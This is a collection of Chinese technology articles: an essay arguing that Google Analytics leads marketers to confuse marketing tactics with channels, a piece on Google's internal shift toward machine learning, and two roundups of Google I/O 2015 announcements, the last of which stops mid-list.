如果一个技术营销人员拍摄了一段录像视频，并把它通过Facebook散播出去，那么他的行为中包含了这些部分：

1、策略=广告投放（传统营销组合中的一种）

2、内容=录像视频本身

3、渠道=Facebook

如果某个人撰写了一则文字材料，希望在谷歌搜索结果中排名靠前，那么他的行为包含了这些部分：

1、策略=SEO（这一策略或许需要添加到新兴营销组合的涵义中）

2、内容=发布的博文

3、渠道=公司博客/谷歌搜索结果

这一点有何重要性呢？因为我们所使用的这些措辞折射出我们对自己的营销方式构成的臆断，而不妥当的臆断充其量只会引导出不妥当的营销方式，最坏的情况莫过于制造垃圾邮件。这就是我所相信的，马克·里特森近期发布在《市场营销周刊》（Marketing Week）个人专栏的文章引起了诸多争议，他认为市场营销人员需要配备真正意义上的营销资质。

毕竟，有太多的线上营销人员并不了解基本的规则，比如我至此提到过的那几种，——我想这大概就是里特森想表达的意思。正是Google Analytics的引入才导致人们形成今天这些糟糕的“想当然”的观念，还有“电视营销”这种不恰当的措辞。

传统营销分析板块

营销活动常常涉及到撰写文字信息、将信息插入一则内容以及通过某个渠道将这则内容传送给某个受众群体。

如我之前在反响热烈的科技博客TechCrunch专栏中探讨的那样，科技社会中有过多的营销人员并不理解基本的市场术语和实施方法，整个营销过程都不会脱离营销组合（“营销（promotion）”是产品营销的4P战略中的一种）的五个“板块”策略框架：直接营销、广告投放、促销、个人销售与公开宣传。

在市场分析软件公司Moz的网站上指导整合传统与线上营销的漫长过程中，我描述了每一个“板块”的利弊以及最佳实施方法：

当营销人员为策划活动进行头脑风暴的时候，他们通常按顺序提出以下问题：

1、我们的受众与目标分别是什么？

2、对受众来说，他们最想看到的信息是什么？

3、根据我们的目标，营销组合之中的哪些策略（包括广告投放、直接营销、促销、直接销售与公开宣传）是我们应当采用以传达信息的？

4、最适用于这种策略以联结上受众的线上与/或线下渠道有哪些？

5、我们应当创造什么样的营销宣传品和创意并基于以上四个问题的答案进行传播？

6、基于使用与营销组合内的每一种策略相关的评估方法，我们如何评估营销结果？

策略、文字信息与营销宣传品比渠道更重要。

在此提供一个公开宣传的例子以作参考，设想有人使用了我在Moz网站上指导公开宣传的文章提及的战略，邀请了一名《纽约时报》的记者来报道他的公司。撰写完成的文章将出现在报纸上、网站上以及亚马逊Kindle上。文章将通过社会化媒体四处传播，被分享在网络论坛和新闻聚合站，等等。这就是为什么事实上并不存在“数据公关”这样的东西，一直就只有“公关”而已。最佳的公开宣传实施方法是让相关文章报道始终如一，不论这些报道会发布在怎样的渠道上。

再说说直接营销的例子，比方说有人撰写了一篇广告文案以形成直接反馈导向，同一篇文案在各种平台的投放通常会带来相似的投放效果，包括直邮、电邮、Facebook广告与谷歌关键词广告，因为浏览这些平台的受众，即人类的本质是不会改变的——虽然这种效果也受制于各平台具体的格式类型。

并没有所谓的“数字营销”和“传统营销”之分，只有营销——看看坎贝尔汤业集团就知道了，这个公司将所有的线下与线上职能都统合在了CMO（首席营销官）这一个职务下了。

Google Analytics工具改变了营销组合板块

网站技术调查公司W3TECHS的数据显示，谷歌工具占领了全部网站中的55%，还占领了83%的流量分析工具市场份额。那些网站之中，超过一半的网站将谷歌工具当成它们唯一的市场数据来源。

谷歌改变了营销行业。然而，谷歌工具的引入和普及却促使营销人员改变了他们关注的重点，将他们的注意力从营销策略引向了营销渠道（下图是从我过去担任咨询顾问时的一个老客户那儿拿到的截屏）：

图中列出的默认渠道包括：自然搜索、直接功能、社交功能、引荐网址、付费搜索、电子邮件、（其它）、展示

传统营销基于策略来分配传统营销组合之中的活动环节：直接营销、广告投放、个人推销、促销和公开宣传。Google Analytics工具则以全新的功能替代了这些“板块”：直接功能、自然搜索、社交功能、引荐网址、付费搜索、电子邮件与展示。

然而，这种观念的转变却将营销人员引向了不当的营销方式，因为几乎每一种策略都能通过任意一种渠道来实现，——何况，是策略而非渠道让最佳实施方法与投放效果产生了联系。

以“社会化媒体营销”为例，这个既模糊又无用的说法特指了某些渠道，却与任何具体的策略没有关系：

1、直接营销活动（被非常不准确地称呼为“广告投放活动”）从社会化媒体上某个特定的群体获取直接反馈，基于他们的人口特征以及他们的“口味”；

2、广告投放活动以某个具备曝光度的赞助商的名义，将付费的媒体内容发布在社会化媒体上，供广大受众浏览；

3、公开宣传活动通过获取或设立社会化媒体传播信息来实现社会曝光；

4、个人推销活动要求推销员通过社会化媒体联系潜在客户与主要受众；

5、促销活动在社会化媒体上到处发放优惠券、折扣券和优惠码以带动即时销售效应。

这五种营销行为中的每一种都可以被定义为“社交媒体营销”——但是，当一个专有名词的语义涵盖了所有事物，那么它其实空空如也，什么语义也不存在。在整体营销计划中，五种传统策略都拥有最佳实施方法，使用它们的最佳时机与最佳地点——以及最值得注意的使用禁忌。

“提问‘社会化媒体的投资回报率是什么’比‘电话机的投资回报率是什么’来得更加有意义。”

由于不使用也不清楚营销行业为了某些明确原因而使用的传统术语，营销人员只不过是在给自己和他们的活动制造损失罢了。

打个比方，就“社会功能”板块而言，假设现在某个人盯着Google Analytics工具，浏览分析结果的时候，他几乎不可能清晰地知道这些策略与活动的投放分别带来哪些效应与结果。同样地，这一点对出现在线上营销工具的几乎所有的板块来说，都是确实存在的。策略活动比传播渠道更加重要。渠道仅仅支配着营销宣传品的形态与营销内容，而这些都是整个策略活动中某个人创造出来的一部分。

提问“社会化媒体的投资回报率是什么”比“电话机的投资回报率是什么”来得更加有意义。是活动创造了投资回报率，而非渠道。但在Google Analytics工具以及任何其它营销平台将“社会化媒体”与其它渠道定义为各种“板块”后，它们随之就成了所谓的营销策略，自此人们就混淆了策略与渠道。

Google Analytics工具带来的积极作用是，我们可以掌握哪些渠道的投放效果最佳，而消极作用是，对于在那些渠道之中投放哪些具体详细的、整体性的策略和活动才能带来最佳效应，我们却所知甚少。

Google Analytics让所有人聚焦线上

Google Analytics不仅让营销人员陷入困惑之中，难以分辨策略与渠道之间的差异，同时也导致我们的行业以牺牲线下渠道为代价，不断地将目光聚焦数字渠道。

当然，Google Analytics可以成为一个非常有用的工具。由于基本版是免费的，无数科技创业公司使用这个平台。但这个平台的功能存在局限性，只能追踪线上渠道。例如，如果用户分析一则电视广告，分析结果中不会出现可直接与这则广告联系在一起的任何信息。

因此，人们现在对使用线上渠道存在一种下意识偏见，就像科技界的其他所有人一样。根据互联网广告局的统计数据，英国的数字广告开支从2003年的大约5亿英镑增至2014年的72亿英镑。我们对Google Analytics的依赖度越高，就会在更大程度上采用易于被Google Analytics追踪的营销策略，例如AdWords直接营销，而不是那些不易被追踪的策略。下文中，我会进行解释。

愤世嫉俗的人可能认为谷歌自始至终就有这种意图。毕竟，我们花在线上的时间越多——尤其是在通勤用的自驾驶汽车出现之后——这个搜索巨头的收入就越高。

但正如米奇·乔尔在推文中指出的那样，优先考虑线上渠道往往会给品牌推广带来负面效应，同时还会以牺牲营销质量为代价。乔尔的推文中说：“不过是租了次车，现在我所见之处就全是那个公司的广告了，到处都是。呸，这就是广告拦截器推广使用的原因。——米奇·乔尔（@mitchjoel）2016年4月14日。”

“广告非常人”（The Ad Contrarian）的博主鲍勃·霍夫曼曾这样描述这个行业：“线上营销并不拥有麦德逊大道的美学血统，而是像垃圾邮件直复营销那样俗不可耐，令人厌恶。”

无论选择什么渠道，直效营销都是最令人厌烦的营销方式。它使用垃圾邮件或者自动发送的垃圾邮件，目的是“培育消费者”，但这种方式让网民深恶痛绝。此外，直效营销还影响网民的社交网站使用体验。就在网民打算与家人和好友联系时，广告蹦出来，让人好不郁闷。网上冲浪时，相同的直效营销广告就像鬼魅一样跟随着你。

所谓的“自动营销平台”的崛起让很多人陷入兴奋之中，但人们应当意识到所有这些平台做的不过是发送和再次发送基于预先确定的时间表和工作流的直复营销材料。这种方式根本毫无创意可言，而创意恰恰是品牌塑造和产品销售的关键所在。

人们容忍线下广告和宣传活动，甚至会推崇那些鲜有的创意营销活动并牢记于心。但人们痛恨线上广告——直效营销基本上就是线上营销，只不过换了一个名字罢了——并且尽可能加以拦截。

由于借助富有侵略性的侵入式平台，促使人们选择拦截所有广告，致使线上广告业走向慢性自杀。

直接回报率最易测算

直效营销可能是最令人厌烦的营销方式，但这种方式的直接投资回报率最容易测算。下面，我举一个非常基本的假设例子：

我给1万个人发送目录/电邮/Facebook广告的成本是5000美元，直接带来100名新客户，他们的终生营收贡献可达到1.2万美元。

这种直复线上营销的效果很容易使用Google Analytics得出和浏览，但如果采用其他营销策略，结果将混乱不堪。

为了说明这一点，我以本公司的高科技营销活动举例。我是营销活动的演讲人，在内容营销大师（Content Marketing Masters）和MozCon等营销大会上发表演讲。在科技大会上，我的公司主管频繁讨论开源ELK Stack。

对于这些特定的营销活动，Google Analytics很难给出精确结果：

1、如果有人看到我们并将我们的品牌名称输入一个搜索引擎，这种访问会纳入Google Analytics的“自然搜索”（Organic Search）。

2、如果有人看到我们并将我们的品牌名称输入一个网络浏览器或者拿到我们的宣传册，一周后在5000英里（约合8050公里）以外的城市直接访问我们的网站，这种访问会显示为“直接”（Direct）。

3、如果有人看到我们，进行搜索并访问我们的Facebook页面，而后再访问我们的网站，这种访问被归入“社交媒体”（Social Media）。

4、如果一名记者在一场会议上与我们见面，而后撰写一篇有关我们的文章，这种流量被归入“推荐”（Referral）。

这有何意义呢？在很多情况下，使用Google Analytics不可能确定一场给定的宣传活动的具体效果。

Google Analytics等营销分析平台的缺陷在于，它们追踪流量源，但并不追踪流量产生的原因。在我的会议中，我们有4个来自同一营销活动的不同流量源。Google Analytics如何量化这一营销策略的效果？

如果有软件能够分离我们网站的直接、自然搜索、社交媒体和推荐流量，帮助我们了解这场营销会议或者其他任何营销策略的效果，我会立即够买这种平台。

典型的Google Analytics数据还存在其他很多问题。为了控制篇幅，我只给出相关链接，帮助读者了解有关这些问题的进一步信息：

1、玛吉·马莱克在科技博客网站Search Engine Land讨论“暗搜索”和“暗社交”流量。

2、Annielytics网站的安妮·库辛介绍如何通过创建自定义分组，来解决部分问题。

很多营销人员将Google Analytics数据视为数字圣杯，因为Google Analytics的应用程序界面被用于其他很多营销平台，相同的误导性“板块”也被用于其他网络分析软件。

过度关注直复指标

不管是对是错，创业公司都非常重视直复指标。这种指标在Google Analytics触发的“目标”和“事件”中显示。

前科技记者和电视剧集《硅谷》编剧丹·里昂在回忆录《破坏》（Disrupted）中描述他所在的营销软件公司HubSpot遭遇的不幸。书中，他这样描述他们的博客营销策略（74-75页）：

“HubSpot前首席营销官的目标是获得潜在客户。如果我们的软件分析显示发布一篇不断重复“臭狗屎”这一粗口的博文的转化率最高，前首席营销官便会发这篇博文。”

我意识到大量炮制无价值内容似乎可带来一种合理的商业模式。这与雇请前《新闻周刊》科技编辑为你写文章完全是两回事。

当创业公司和其他公司利用直复指标——例如Google Analytics显示的直接销售、潜在客户或者下载量——作为首要或者唯一的成功指标时，这个问题就会出现。

以博客为例，博客已成为很多公司的重要沟通渠道之一，将营销和沟通策略整合需要让品牌推广和公关活动融入到这些策略。在里昂的例子中，一篇重复“臭狗屎”的博文可能产生最多潜在客户，但对公关和品牌推广却是一场灾难，而这些指标并不出现在Google Analytics中。

仅仅关注Google Analytics指标往往导致创业公司发布非信息性宣传材料，过度利用所谓的“点击诱饵”。点击诱饵可能产生更多流量，但在推广品牌方面效果甚微，同时还会带来其他负面影响。

对于将线上广告作为主要商业模式的网站来说——例如新闻网站——网页浏览量无疑是一个有用的指标，因为每一次浏览都会向服务器发出广告请求，提高广告曝光量。但对于一家将拥有更多客户作为目标的公司，点击诱饵虽然产生很多流量，但最终的转化率较低。

整合线上线下渠道

我曾在文章中指出营销人员和传播人员如何在一个充满无数可用的传统和数字渠道的世界开展工作。下面的流程图概述了我的流程：

我的总体理论是：细化目标人群，创建人物角色。敲定营销的4个要素——推广、产品、价格和地点（4P）。制定分配给混合营销战略（Promotion Mix）每部分权重的整体策略。选择最佳线上和线下渠道。制作市场宣传材料并让它们触及受众。测算效果。

但问题是，线上营销人员往往只吃自己的安利，忽视了传统渠道，同时又夸大现代渠道的效用。（我甚至没将业内的所有虚假线上广告算在内。）

还记得奥利奥的著名超级碗推文吗？里特森统计了所有数据并进行计算，结果发现只有不到1%的奥利奥目标市场看到了这条推文。这个例子证明社交媒体营销的效果不过如此。在来自霍夫曼的另一个例子中，百事可乐在将营销预算从电视转移到社交媒体之后失去了大量市场份额，足以跌落到第三位。

里特森指出答案并不总是社交媒体，霍夫曼更是直言社交媒体只是现代营销手段的一部分。但社交媒体顾问公司和代理商一直在说“社交媒体就是答案”，因为他们就是吃这碗饭的。数字视频平台也一再声称“电视正在走向死亡”，因为他们的成功就依赖于此，但电视从没有像今天这么受欢迎。

很少有人花时间进行研究，探寻事情的真相，只知道拾人牙慧，反刍数字营销回音室传出的东西。绝大多数人都在叫卖。广告顾问或者搜索引擎优化公司一再声称广告或搜索引擎优化是“一切问题的解决方案”。

兼容并蓄双管齐下

作为一名内部营销人员，我拥有一项奢侈的待遇，不被强迫推崇一种给定的营销策略或者渠道。在我的职业生涯中，我没有任何偏见，竭尽所能推广我们的品牌和获取更多用户。绝大多数顾问公司和代理商只选择特定战略战术和渠道，因为他们的经验和专业知识比较单一。

我的第一份职业是记者，这同样也让我感到荣幸，可以运用过去的经验和技能，用批判和中立的眼光看待高科技营销行业，而后在TechCrunch和Moz的专栏分享我的想法。

在使用Google Analytics的商业网站中，有超过一半将Google Analytics作为唯一的营销分析工具。他们最终会发现自己的选择非常有限，将存在缺陷的指标用于错误的营销策略。

如果让自己局限于单一软件平台，不管是Google Analytics还是其他任何软件，这种情况便会出现。他们的整个世界观和业务流程都围绕这个平台展开，尽管存在局限性、缺陷和错误假设。

整个营销界都尝试回答这样一个存在缺陷的问题——我应该在我的网站上刊登怎样的内容才能获得最大流量和最多潜在客户？而实际上，他们真正要问的问题是：“在互联网还没有出现的时候，你是如何进行营销的？找到这个问题的答案同样有助于你开展线上营销。——塞缪尔·斯科特（@samueljscott）2015年8月25日。”

人工智能是如何在 Google 崛起的？

Tue, 28 Jun 2016 16:28:03 CST

前不久，Google 的 CEO 桑达尔·皮查伊在接受 Forbes 专访时，非常明确地指出了：Google 将在一切服务和设备中，或早或晚地采用人工智能技术。

BackChannel 的一篇来自 Steven Levy 的文章描述了 Google 从培训、雇佣、管理、技术等各个方面的措施和转变，并且介绍了机器学习在 Google 崛起的历史、克服的阻力、以及势不可挡的未来。

Google 正在打造机器学习的“忍者团队”

Carson Colgate，一名 Google 机器学习队伍的新成员。图片来源： BackChannel

Carson Holgate 正在训练自己成为一名“忍者”。

她今年 26 岁，之前已经在跆拳道里拿过一个二级的黑带。这次，她要做的是在算法上成为一名“忍者”。她在 Google 的 Android 部门担任工程师，现在则被收录到 Google 内部的一个机器学习“忍者项目”。这个项目只招收了 18 个人，这 18 个人却都是 Google 各个产品部门的精英。他们将要把学习到的人工智能技巧，用于打造他们各自负责的产品。

在 Google 负责内部机器学习、管理此“忍者项目”的产品经理 Christine Robson 说：“这个项目邀请 Google 全公司对机器学习感兴趣的工程师，与机器学习团队一起学习 6 个月，跟导师取取经，做一些项目，然后开展和实施项目，从中学习经验和教训。”

很多年来，机器学习被认为是一个只有技术精英才懂的技术专项。但是现在，机器学习成为了将人类智慧与电脑智慧结合在一起的不二途径。 Google 致力于在公司内部制作多一点机器学习的“精英”，甚至想要让机器学习成为工程师的常规技巧。

Google 是一个庞大的公司，六万个雇员里面，有将近一半都是工程师。对比之下，这个目前只有 18 个人的机器学习忍者项目，实在很小。但是这个项目表明了 Google 一个认知上的转变——机器学习已经成为最受重视的新方向之一。

虽然 Google 一直都有采用机器学习的技术，也一直致力于雇佣这个领域的人才，但是直到 2016 年， Google 才开始执迷于机器学习这项科技。去年年末， Google 的总裁 Sundar Pichai 就说出了 Google 的新态度：

“机器学习是一个核心的、转变式的改变，它将改变我们做每一件事的方式和想法。我们有目的地在我们的各项产品中运用机器学习，无论是搜索，广告，YouTube，还是 Play。我们目前所处的阶段还早，但是你会看到我们一个系统性、规模性的进展——我们将在众多的领域使用机器学习。”

因而这个逻辑很清晰：如果 Google 真的想要在全线的产品中运用机器学习，它的工程师也必须掌握机器学习的技巧, 这个技巧将和传统的编程很不同。正如知名的机器学习宣言《高超算法》一书的作者 Pedro Domingos 所言：

“机器学习确实是太阳底下的新鲜事：它将自己建造（和实现）自己。”

机器学习是如何在 Google 崛起的？

Jeff Dean，Google 的神级人物，正在带领 Google 转向机器学习的时代。图片来源： BackChannel

做好机器学习，意味着辨识正确的数据，选择正确的算法，并且确保所有的其他条件都正确，才能成功。

Jeff Dean，Google 软件部的神级人物，如今带领着机器学习团队，建造各种工具，帮助 Google 工程师加深机器学习的技能。根据他的预测：今天 Google 25000 个工程师中，只有几千个工程师精通于机器学习。而 Jeff Dean 的愿景是：所有的 Google 工程师都要懂得机器学习的一些知识。“我们将要尝试实现这个目标。”

John Giannandrea 一直以来都在 Google 内部提倡机器学习的重要性，而时代造英雄，在 Google 的机器学习时代，Giannandrea 成为了搜索业务的负责人。但是当他 2010 年刚到公司的时候，他并没与多少机器学习的经验。 2011 年的时候，他在一个会议上得知“神经信息处理系统”（Neural Information Processing Systems，NIPS)，从此欲罢不能。

从此，每一年，NIPS 都使用机器学习创造着科技界的神话，解决着如翻译、声音辨识、或者视觉辨识等诸多领域的难题。Giannandrea 回忆道当时参加这个 NIPS 会议的时候，这个会议非常不知名，“但是这个领域在学术和科技界都在过去三年高速成长。去年参会者达到了 6000 人。”

不只是 Giannandrea 认为机器学习将会成为科技的核心。 Google 内部的机器学习拥护者越来越多。比如，Google Brain 的联合创始人 Dean，他曾在 Google X 负责一个神经网络的研究计划。这些在 Google 进行的机器学习运动，说明了 Google 对计算机的决心和信心。

如今在机器学习领域最领先的为“深度学习”算法，这个算法的模型由人脑启发，建立在复杂的神经网络之上。Google Brain 以及 Google 在2014 年 1 月以 5 亿美元收购的 DeepMind，都在深度学习这一块集中力量开发。 DeepMind 开发了 AphaGo，并在围棋比赛中将人类的冠军打败了，这件事激发了人类对人工智能深深的恐惧。 Giannandrea 觉得人工智能绝对不会把人类赶尽杀绝或者取代人类，但是，它将要深刻地变革我们生活的每一个方面。

机器学习的概念在 Google 绝不是新鲜事。 Google 的创始人一直以来相信人工智能的力量。十年前，Google 已经开始在公司内部给工程师教授机器学习的课程。 2005 年的时候，研究科学家 Peter Norvig 开始在每周三在 43 号楼给感兴趣的 Google 工程师讲授机器学习。课程如此受欢迎，以至于在 Bangladesh 的工程师熬夜到凌晨，只为了远程打个电话过来一起听课。而 2013 年，整个 Google 都意识到了机器学习的重要性。

随着机器学习的重要性在 Google 内部崛起，Jeff Dean 也开始认真思考：

“在过往，我们可能会使用机器学习，去改善系统的某几个方面。但现在我们真的是要用机器学习去取代整个旧的系统。”

机器学习正在让产品有着以往不可想象的新功能。比如去年 11 月发布的 Gmail 上的智能回复功能，就是缘起于 Google Brain 与 Gmail 团队的一次对话。 Google 一直鼓励着这种合作，让这两个团队保持密切的联系。

传统的对人工智能语言的理解是：人们需要将语言的规则嵌入到系统，但是在 Gmail 的智能回复中，这个系统拥有足够多的数据，它自己就可以学习和完善自己。

不过当这个团队在开始测试智能回复的时候，这个软件有一个很诡异的问题：它总是在建议一些不太符合场合的浪漫性的回复。当它感到困惑的时候，它就会开始说：我爱你。这不是什么软件上的故障。这个错误可能就是它从人类行为中学习而来的：如果你处于不知所措或者困窘的状态，说“我爱你”是个很好的防范策略。

克服重重阻力，机器学习渗透到了搜索算法中

Greg Corrado 为 Google Brain 的联合创始人，正在和其他产品团队合作，将机器学习带进 Google 的每个产品。图片来自： BackChannel

自从去年 11 月发布智能回复之后，Gmail Inbox 应用的用户就可以选择三个自动生成的回复，而且这些自动生成的回复准确性一般很高。现在，从手机移动端的 Gmail 用户发出的回复中，十分之一都是由机器学习系统创造的。 Gmail 的成功只是 Google 成功运用机器学习的一个极小的例子。

但是当机器学习被运用到搜索功能，这就是极大的转折点了。一直以来，搜索都有运用到机器学习，但是很多年以来，这个公司最重要的搜索算法，都被认为太过于神圣，而不能被机器学习算法所玷污。机器学习对于搜索的作用，一直都受到怀疑。

这种怀疑，部分源自于一种文化上的抵抗：一直以来，高超的黑客们都想要对程序有完全的掌控，而机器学习难免有点太禅意般的“放任自流”。 Amit Singhal 是一个经验丰富的搜索工程师，是传奇式的电脑科学家 Gerald Salton 的学徒，Singhal 当年修改了 Google 创始人布林和佩奇的编程作业，让他们的程序变为可以量化扩大的工具。 Singhai 对于把机器学习并入搜索算法，曾经抱着怀疑的态度。 Google 的工程师 David Pablo Cohn 证实当时他们用机器学习提高搜索的沮丧的尝试：

“Amit Singhai 的算法当时是世界上最棒的，我们只能通过复制他的想法来做好。当时我们找不到任何比他的方法要好的东西。”

到 2014 年早期的时候，Google 的机器学习专家们继续挑战这种局面。结果，机器学习团队的实验成为了搜索的一个核心部分：通过看用户是否点击了搜索词条，来判断搜索呈现的结果是否更好地匹配搜索的词条。

如今，机器学习所建立的搜索匹配的成果 RankBrain，已经是搜索算法的一部分。RankBrain 于 2015 年 4 月的时候上线。 Google 一直以来对于搜索功能如何运作都是闪乎其辞，但是 Jeff Dean 很明确地说：

“RankBrain 这个机器学习的产物在每一次检索中都发挥作用，并且在大部分的检索中影响着排名。”

并且，这个机器学习的算法证明是非常有效的。每一次的 Google 搜索都要用上几百个信息点（比如，用户所处的地理位置，以及页面的标题是否与搜索词条匹配），而 RankBrain 提供的信息点，是所有信息点中的重要性排在了第三。

打败了传统编程后，机器学习该如何在 Google 普及

Christine Robson 是 Google 内外机器学习活动的组织者和带动者。图片来自： BackChannel

机器学习在搜索中获得成功，对于 Google 而言非常重要，这让很多人开始真的注意起机器学习来。而华盛顿大学的教授 Pedro Domingos 用更直白的语言说：

“一直以来，在传统编程者与机器学习者之间都存在着一场战争。结果机器学习者在战斗中获胜了。”

Google 目前的挑战是要将他们的工程师队伍过渡到机器学习的队伍，不要求每个人都熟悉掌握机器学习，但起码需要熟悉机器学习。不仅 Google 在这么做，很多其他的公司（比如 Facebook）都在积极迈进机器学习的时代。Google 正在各个名校的机器学习领域抢夺人才。 Google 也即将在苏黎世开设一个机器学习研究中心，抢夺机器学习人才的战争，延伸到了欧洲。

基于目前学术界并没有造出很多的机器学习人才，保持这方面的人才就显得至关重要。在 Google，这并不是易事。因为大部分的顶级工程师一辈子都通过传统的编程取得成就。但是机器学习所要求的，是全新的思维。编程者一般通过对编程的控制来进行创造，但是机器学习要求掌控的是某些具体类型的数学和统计学，但是这些领域的知识，甚至对于一些顶级的、可以解决复杂问题的工程师而言，都是陌生的，他们之前也根本不愿意学。

Christine Robson 正在致力于给 Google 的工作人员创造更好的机器学习的环境:

“机器学习与静止不变的编程不同：你要经常给它提供新数据，我们要一直更新模型，一直学习，要一直添加更多的数据，一直转变我们预测的方式。机器学习就像是一个活生生的、会呼吸的家伙，它和传统的计算机编程完全不同。”

但是，Google 对训练工程师学会机器学习的前景是乐观的：如今在机器学习中使用的数学不算太复杂，大部分 Google 的工程师都可以学会。Google 并且建造了类似 TensorFlow 的工具，帮助工程师学习机器学习。TensorFlow 也为 Google 在雇用人才方面增加了吸引力。当 Google 开设 TensorFlow 公开课时，有 75000 人报名参加。

目前 Google 最大的任务，就打造更多可以完善这些机器学习工具的人才。他们也在内部建立了大量的机器学习的课程，“下一次的课程，已经有好几千的工程师报名参加。”Jeff Dean 说。

毫无疑问，机器学习，将会是 Google 一个重大的发展方向。我们的未来，将会是一个机器学习和人工智能的未来。

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关于Google IO 2015，你必须知道的9件事

Fri, 29 May 2015 07:20:04 CST

1 Google 正式发布Android M, 提升用户体验

今天的大会开始，Google 公司发布了 Android M。

新的Android系统有了很大用户体验上的提升，主要体现在 App 权限管理，网页体验，App关联，Android Pay 支付功能，指纹识别以及续航能力上的改进。

Android M 预览版本将于今天发布，首批支持设备包含Nexus 5、6、9 等。

2 Android Pay 将在今年正式上线

Google 今天发布了Android Pay。Android Pay是一个开放平台，支持Android 4.4版本或更新的设备，Google会在最新的Android M里自建官方的指纹识别支持。

据悉，Google 的支付服务将在未来几个月内推出，将兼容Android的早期版本手机。另外，Android Pay并不需要一个单独的应用程序来运行。用户可以将自己的信用卡、借记卡和会员卡绑定到手机上，用现有密码解锁设备，并在美国超过70万家实体店进行线下支付。目前，已经参与Android Pay的零售商包括麦当劳、Macys、百思买、Walgreens和有机食品Whole Foods超市。

3 Google 发布 Brillo，一个只保留基本内核功能的用于物联的 Android系统，以保证消耗最小

Google以Android为核心，推出了Brillo系统。Brillo 是一个物联网平台。Brillo出自Android，所以在设备配对和设置上将会非常方便，也就是说任何Android设备都可以轻松地与Brillo智能设备对接，并实现控制。

除了Brillo，Google还发布了Weave跨平台协议。这个协议可以连接云端、手机和Brillo支持的设备，比如被 Google 收购的 Nest 的恒温器。

Brillo将在今年第三季度被投入使用。届时，物联网设备能够与手机和云通讯，且所有设备都可以使用统一语言。

4 已经有 4000个 Android Wear 应用被开发，Uber 成为新成员

Google 公司今天宣布目前，已经有4000个 app 可以在 Android Wear 这个平台上，这其中包括Uber，Foursquare，以及 Citymapper 等。

Uber对于Android可穿戴设备来说是非常重要的。用户只用对着Android可穿戴设备说：OK，Google，给我叫一辆车。同时，uber司机就可以得到指令到达用户所在地点来接客户。

基本这些Android Wear的新功能你都可以在LG的新手机Urbane上看到了，但是当演讲者宣布Android Wear可以支持使用者发送表情符号以及手势控制时，现场还是响起了掌声。

5 Google Now 集合上下文联系、搜索、语音识别，变得越来越贴心

Google Now通过对用户行为的多年学习，已经变得非常智能。Google Now将可以回答更多的问题，也更加准确。它新加入了 “now on tap”功能更是让人觉得贴心。在特定应用里，长按home键，开启 Google Now，它会在当前界面提供给你你最需要的信息。例如，当你的朋友在微信里问你要不要看《超能陆战队》，Google Now 就会以此为依据，向你提供关于这部电影的各种有用信息，例如它的评分等等。

另外，大会上，演讲者额外展示了一些其他实际的应用场景。例如，Google Now可以为用户展示用户开车时前方最近的加油站位置；可以在播放歌曲时自主识别歌曲名称和演唱者；可以在发信息过程中提醒你未完成的事情（例如，你的家人发你一条信息：别忘了买苹果，Google Now 不但会提醒你购买苹果还会给你提示离你最近的售卖苹果的地方以及去的路线。）

6 Google Photos 将支持无限存储以及自动归类

Google 公司发布了新的照片管理应用 Google Photos。这款应用让用户有无限免费的云端图片和视频存储空间，可以自动地同步所有设备上的照片，可以在手机等设备上用手势进行管理，例如双指缩放可以切换时间线，查看照片，这基本是让Google Photos变得更有了苹果的气质。

但是，它仍然有一些值得说一说的事情：Google Photos结合了Google的识别技术，能自动识别照片中的人或不同事件，可以自动为用户添加便签，而无需手动。也就是说在管理图片时，它可以自动识别你的一位朋友的脸，从而把所有含有他的照片归类在一起。当然，当你搜索在crater lake 滑雪的时候，所有跟滑雪有关的照片也会被聚集在一起。按照演讲人所说，这款应用今天晚些时候就会上线，Pingwest品玩也会发布相关的测评，让你第一时间了解这款应用。

7 Google Map 将支持离线导航

Google公司今天在他的地图功能上再次出大招。为了照顾网络资源较为贫瘠的发展中国家的需求， Google Maps 将支持离线导航。同时，地图可支持用户离线查看景点以及餐厅的营业时间以及评价。

8 硬纸壳做的3D VR眼镜 Cardboard 变得更大，并可适配于苹果手机

在今天的大会上，Google 公司宣布更新 VR (virtual reality）产品Cardboard。对，就是在去年I/O大会上Google 公司送给参会开发者的那个硬纸壳叠成的虚拟可穿戴设备。这款产品较于先前的版本尺寸更大，可适用于适配6寸屏幕的手机。同时，它除了支持Android手机，也支持苹果手机了哦。

我在活动展示区适用下来发现相较于一般的 VR 产品，它所观看视频的清晰度更高，颜色更鲜艳，并且没有太多的眩晕感。但是，安装下来尽管简单，却不算非常稳固，手机非常容易从侧面漏出来掉在地上。

9 Google和 GoPro合作开发全景拍摄机器 Jump

为了给Cardboard眼镜提供更多的内容，Google推出了360度全景拍摄工具Jump。并且邀请GoPro加入了这个项目，通过Jump拍摄工具及16个GoPro的运动相机，用户可以360度进行拍摄。拍摄的视频经过Jump校正后，会生成非常逼真的3D视频。展厅工作人员介绍，这款产品将在今年夏天正式推出，用户可以将自己拍摄的3D视频上传Youtube，配合 Cardboard 其他人就能看到VR视频。

————-

更多关于2015年 Google I/O 的文章请查阅汇总专题： http://www.pingwest.com/hot-tags/google-io/ ，或查看发布会直播回顾： http://live.pingwest.com/c/google_io

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十分钟教你看懂 Google I/O 2015

Fri, 29 May 2015 08:08:37 CST

Google I/O 2015 都看了吧？
因为某些原因：加班、没梯子、陪家人、要考试、或者忙着恢复数据库，肯定有人没看。
当然，肯定也有人今天也没时间重新看时长两个小时的 Google I/O。
于是，只花费十分钟的时间，编者带你看懂今年的 Google I/O 大会。

好啦，英文好的可以直接戳这里，不需要梯子；英语不好的，可以跟着编者继续走下去。

还是这位大哥开场：

简而言之，Google I/O 2015 一共有三个焦点：Android M，Android Anywhere，虚拟现实。

Android M

Android M 是整个大会的重中之重，也是和普通人最息息相关的部分。
Android M 还没有正式发布，Google I/O 大会上发布的仅仅是开发者预览版，其意义在于演示新特性、发布新版本并将新版提交开发者进行开发和测试，预计国外将会在今年末用上 Android M，国内则会在明年 3-5 月用上 Android M。然后编者掂了掂手里 Android L 跳票一个月的 MX4……

简单来说，Android M 是继续对 Android 的优化，但是不仅仅是优化。

从界面上看，Android M 和它的前辈 Android L 很相似，但是实际上，Android M 引入了六个新特性：

更好地管理应用权限

Android M 之前也提供过软件的应用权限管理功能，例如定位、监听听话状态等，不过这些都是在你安装应用的时候就给出提示是否赋予软件这些权限。在 Android M 中，这些得到了优化：安装软件时不需要再去一个一个去选权限，而是在软件用得到的时候，再去提示软件是否有权定位、有权访问日历和相册。

Chrome 模式

